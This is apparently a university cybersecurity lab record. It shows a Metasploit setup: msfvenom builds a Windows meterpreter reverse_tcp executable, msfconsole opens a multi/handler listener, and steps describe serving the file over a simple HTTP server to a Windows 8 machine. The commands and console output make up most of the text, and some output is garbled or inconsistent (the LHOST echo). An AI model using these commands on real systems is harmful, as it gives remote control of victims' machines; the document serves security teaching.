**Ex. No.: 8 Date:08.10.2024**

**METASPLOIT**

**Aim:**

To set up Metasploit framework and exploit reverse\_tcp in Windows 8 machine remotely.

**Algorithm:**

1. Generate payload to be inserted into the remote machine
2. Set the LHOST and it’s port number
3. Open msfconsole.
4. Use exploit/multi/handler
5. Establish reverse\_tcp with the remote windows 8 machine.
6. Run SimpleHTTPServer with port number 8000.
7. Open the web browser in Windows 8 machine and type http://172.16.8.155:8000
8. In KaliLinux, type sysinfo to get the information about Windows 8 machine
9. Create a new directory using mkdir command.

10.Delete the created directory.

**Output:**

root@kali:~# msfvenom -p windows/meterpreter/reverse\_tcp LHOST=172.16.8.155 LPORT=443 -f exe > /root/hi.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-] No arch selected, selecting arch: x86 from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 341 bytes

Final size of exe file: 73802 bytes root@kali:~# msfconsole

[-] \*\*\*Rting the Metasploit Framework console...\

[-] \* WARNING: No database support: could not connect to server: Connection refused

Is the server running on host "localhost" (::1) and accepting TCP/IP connections on port 5432?

CSE(Cyber Security) 2nd year

could not connect to server: Connection refused

Is the server running on host "localhost" (127.0.0.1) and accepting

TCP/IP connections on port 5432?

[-] \*\*\*

\_ \_

/ \ /\ \_\_ \_ \_\_ /\_/ \_\_

| |\ / | \_\_\_\_\_ \ \ \_\_\_ \_\_\_\_\_ | | / \ \_ \ \

| | \/| | | \_\_\_\ |- -| /\ / \_\_\ | -\_\_/ | || | || | |- -|

|\_| | | | \_|\_\_ | |\_ / -\ \_\_\ \ | | | | \\_\_/| | | |\_

|/ |\_\_\_\_/ \\_\_\_\/ /\ \\\_\_\_/ \/ \\_\_| |\_\ \\_\_\_\

=[ metasploit v5.0.41-dev ]

+ -- --=[ 1914 exploits - 1074 auxiliary - 330 post ]

+ -- --=[ 556 payloads - 45 encoders - 10 nops ]

+ -- --=[ 4 evasion ]

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse\_tcp payload => windows/meterpreter/reverse\_tcp msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

Name Current Setting Required Description

---- --------------- -------- -----------

Payload options (windows/meterpreter/reverse\_tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)

LHOST yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

-- ----

0 Wildcard Target

msf5 exploit(multi/handler) > set LHOST 172.16.8.155 LHOST => 172.16.8.156

msf5 exploit(multi/handler) > set LPORT 443 LPORT => 443

msf5 exploit(multi/handler) > exploit

[\*] Started reverse TCP handler on 172.16.8.155:443

**Result:** Thus, the setup of Metasploit framework and exploit reverse\_tcp in Windows 8 machine remotely has been executed successfully.